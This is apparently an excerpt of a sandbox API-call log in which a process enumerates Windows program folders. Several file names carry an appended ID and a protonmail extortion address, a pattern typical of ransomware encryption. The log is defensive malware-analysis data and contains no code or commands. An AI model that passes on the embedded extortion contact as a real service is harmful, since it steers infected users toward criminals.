	[0205.867] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x109400, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="TipRes.dll", cAlternateFileName="")) returned 1
	[0205.867] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0205.867] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="uk-UA", cAlternateFileName="")) returned 1
	[0205.867] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0205.867] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="zh-CN", cAlternateFileName="")) returned 1
	[0205.868] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0205.868] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0205.868] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0205.868] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="zh-TW", cAlternateFileName="")) returned 0
	[0205.868] FindClose (in: hFindFile=0x652218 | out: hFindFile=0x652218) returned 1
	[0205.868] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4413078 | out: hHeap=0x560000) returned 1
	[0205.870] FindNextFileW (in: hFindFile=0x6528d8, lpFindFileData=0x3a3f584 | out: lpFindFileData=0x3a3f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0xffffe1ed, cFileName="MSInfo", cAlternateFileName="")) returned 1
	[0205.870] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4413078 | out: hHeap=0x560000) returned 1
	[0205.870] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463aec8d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x63793f1, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463aec8d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1
	[0205.871] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0205.871] FindNextFileW (in: hFindFile=0x6528d8, lpFindFileData=0x3a3f584 | out: lpFindFileData=0x3a3f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0xffffe1ed, cFileName="OFFICE16", cAlternateFileName="")) returned 1
	[0206.000] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4413078 | out: hHeap=0x560000) returned 1
	[0206.001] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 0
	[0206.001] FindClose (in: hFindFile=0x652218 | out: hFindFile=0x652218) returned 1
	[0206.001] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0206.001] FindNextFileW (in: hFindFile=0x6528d8, lpFindFileData=0x3a3f584 | out: lpFindFileData=0x3a3f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0xffffe1ed, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1
	[0206.001] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0206.001] FindNextFileW (in: hFindFile=0x6528d8, lpFindFileData=0x3a3f584 | out: lpFindFileData=0x3a3f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0xffffe1ed, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1
	[0206.002] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0206.002] FindNextFileW (in: hFindFile=0x6528d8, lpFindFileData=0x3a3f584 | out: lpFindFileData=0x3a3f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0xffffe1ed, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1
	[0206.004] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0206.004] FindNextFileW (in: hFindFile=0x6528d8, lpFindFileData=0x3a3f584 | out: lpFindFileData=0x3a3f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0xffffe1ed, cFileName="TextConv", cAlternateFileName="")) returned 1
	[0206.004] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4413078 | out: hHeap=0x560000) returned 1
	[0206.004] FindNextFileW (in: hFindFile=0x6527d8, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="en-US", cAlternateFileName="")) returned 0
	[0206.004] FindClose (in: hFindFile=0x6527d8 | out: hFindFile=0x6527d8) returned 1
	[0206.004] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0206.004] FindNextFileW (in: hFindFile=0x6528d8, lpFindFileData=0x3a3f584 | out: lpFindFileData=0x3a3f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0xffffe1ed, cFileName="Triedit", cAlternateFileName="")) returned 1
	[0206.005] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4413078 | out: hHeap=0x560000) returned 1
	[0206.005] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="en-US", cAlternateFileName="")) returned 0
	[0206.005] FindClose (in: hFindFile=0x652218 | out: hFindFile=0x652218) returned 1
	[0206.005] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0206.005] FindNextFileW (in: hFindFile=0x6528d8, lpFindFileData=0x3a3f584 | out: lpFindFileData=0x3a3f584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0xffffe1ed, cFileName="VC", cAlternateFileName="")) returned 1
	[0206.007] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0206.007] FindNextFileW (in: hFindFile=0x6528d8, lpFindFileData=0x3a3f584 | out: lpFindFileData=0x3a3f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0xffffe1ed, cFileName="VGX", cAlternateFileName="")) returned 1
	[0206.007] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0206.007] FindNextFileW (in: hFindFile=0x6528d8, lpFindFileData=0x3a3f584 | out: lpFindFileData=0x3a3f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0xffffe1ed, cFileName="VSTO", cAlternateFileName="")) returned 1
	[0206.009] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x446c8d0 | out: hHeap=0x560000) returned 1
	[0206.009] FindNextFileW (in: hFindFile=0x652818, lpFindFileData=0x3a3f08c | out: lpFindFileData=0x3a3f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2deae3, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8e2deae3, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8e304a7e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x18986, dwReserved0=0x1fd, dwReserved1=0xffffc51c, cFileName="VSTOInstaller.exe.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="VSTOIN~1.HTM")) returned 1
	[0206.009] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4413078 | out: hHeap=0x560000) returned 1
	[0206.009] FindNextFileW (in: hFindFile=0x652618, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e350f72, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8e350f72, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8e39d383, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x29178, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="vstoee.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="VSTOEE~2.HTM")) returned 1
	[0206.010] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0206.013] FindNextFileW (in: hFindFile=0x6528d8, lpFindFileData=0x3a3f584 | out: lpFindFileData=0x3a3f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0xffffe1ed, cFileName="VSTO", cAlternateFileName="")) returned 0
	[0206.013] FindClose (in: hFindFile=0x6528d8 | out: hFindFile=0x6528d8) returned 1
	[0206.013] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0206.013] FindNextFileW (in: hFindFile=0x652998, lpFindFileData=0x3a3f800 | out: lpFindFileData=0x3a3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1
	[0206.014] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0206.014] FindNextFileW (in: hFindFile=0x652998, lpFindFileData=0x3a3f800 | out: lpFindFileData=0x3a3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1
	[0206.016] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4413078 | out: hHeap=0x560000) returned 1
	[0206.016] FindNextFileW (in: hFindFile=0x652258, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0xffffc51c, dwReserved1=0x1ff, cFileName="msader15.dll", cAlternateFileName="")) returned 1
	[0206.016] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0206.017] FindNextFileW (in: hFindFile=0x652818, lpFindFileData=0x3a3f584 | out: lpFindFileData=0x3a3f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x1ec, dwReserved1=0xffffe1ed, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1
	[0206.017] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0206.017] FindNextFileW (in: hFindFile=0x652818, lpFindFileData=0x3a3f584 | out: lpFindFileData=0x3a3f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0xffffe1ed, cFileName="msadc", cAlternateFileName="")) returned 1
	[0206.018] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4413078 | out: hHeap=0x560000) returned 1
	[0206.018] FindNextFileW (in: hFindFile=0x6522d8, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0xffffc51c, dwReserved1=0x1ff, cFileName="msadce.dll", cAlternateFileName="")) returned 1
	[0206.019] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0206.019] FindNextFileW (in: hFindFile=0x652818, lpFindFileData=0x3a3f584 | out: lpFindFileData=0x3a3f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0xffffe1ed, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1
	[0206.020] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4413078 | out: hHeap=0x560000) returned 1
	[0206.020] FindNextFileW (in: hFindFile=0x6528d8, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18600, dwReserved0=0xffffc51c, dwReserved1=0x1ff, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1
	[0206.021] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0206.021] FindNextFileW (in: hFindFile=0x652818, lpFindFileData=0x3a3f584 | out: lpFindFileData=0x3a3f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a00, dwReserved0=0x1ec, dwReserved1=0xffffe1ed, cFileName="wab32.dll", cAlternateFileName="")) returned 1
	[0206.021] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0206.022] FindNextFileW (in: hFindFile=0x652998, lpFindFileData=0x3a3f800 | out: lpFindFileData=0x3a3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0
	[0206.022] FindClose (in: hFindFile=0x652998 | out: hFindFile=0x652998) returned 1
	[0206.023] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43e0048 | out: hHeap=0x560000) returned 1
	[0206.023] FindNextFileW (in: hFindFile=0x652518, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8357eca8, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8357eca8, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8357eca8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x19a, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="desktop.ini.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="DESKTO~1.HTM")) returned 1
	[0206.025] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4412070 | out: hHeap=0x560000) returned 1
	[0206.025] FindNextFileW (in: hFindFile=0x652358, lpFindFileData=0x3a3f800 | out: lpFindFileData=0x3a3f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a4ec31b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a4ec31b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a4ec31b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExtExport.exe", cAlternateFileName="")) returned 1
	[0206.025] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4412070 | out: hHeap=0x560000) returned 1
	[0206.025] FindNextFileW (in: hFindFile=0x652358, lpFindFileData=0x3a3f800 | out: lpFindFileData=0x3a3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2132d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNUP", cAlternateFileName="")) returned 1
	[0206.026] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4412070 | out: hHeap=0x560000) returned 1
	[0206.026] FindNextFileW (in: hFindFile=0x652358, lpFindFileData=0x3a3f800 | out: lpFindFileData=0x3a3f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9b1003, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a9b1003, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a9b1003, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0206.026] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0206.026] FindNextFileW (in: hFindFile=0x652518, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x61124797, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x61124797, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="Java", cAlternateFileName="")) returned 1
	[0206.029] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43e0048 | out: hHeap=0x560000) returned 1
	[0206.029] FindNextFileW (in: hFindFile=0x6522d8, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ee31b0d, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8ee31b0d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8eea4457, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x753c, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_shmem.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="DT_SHM~1.HTM")) returned 1
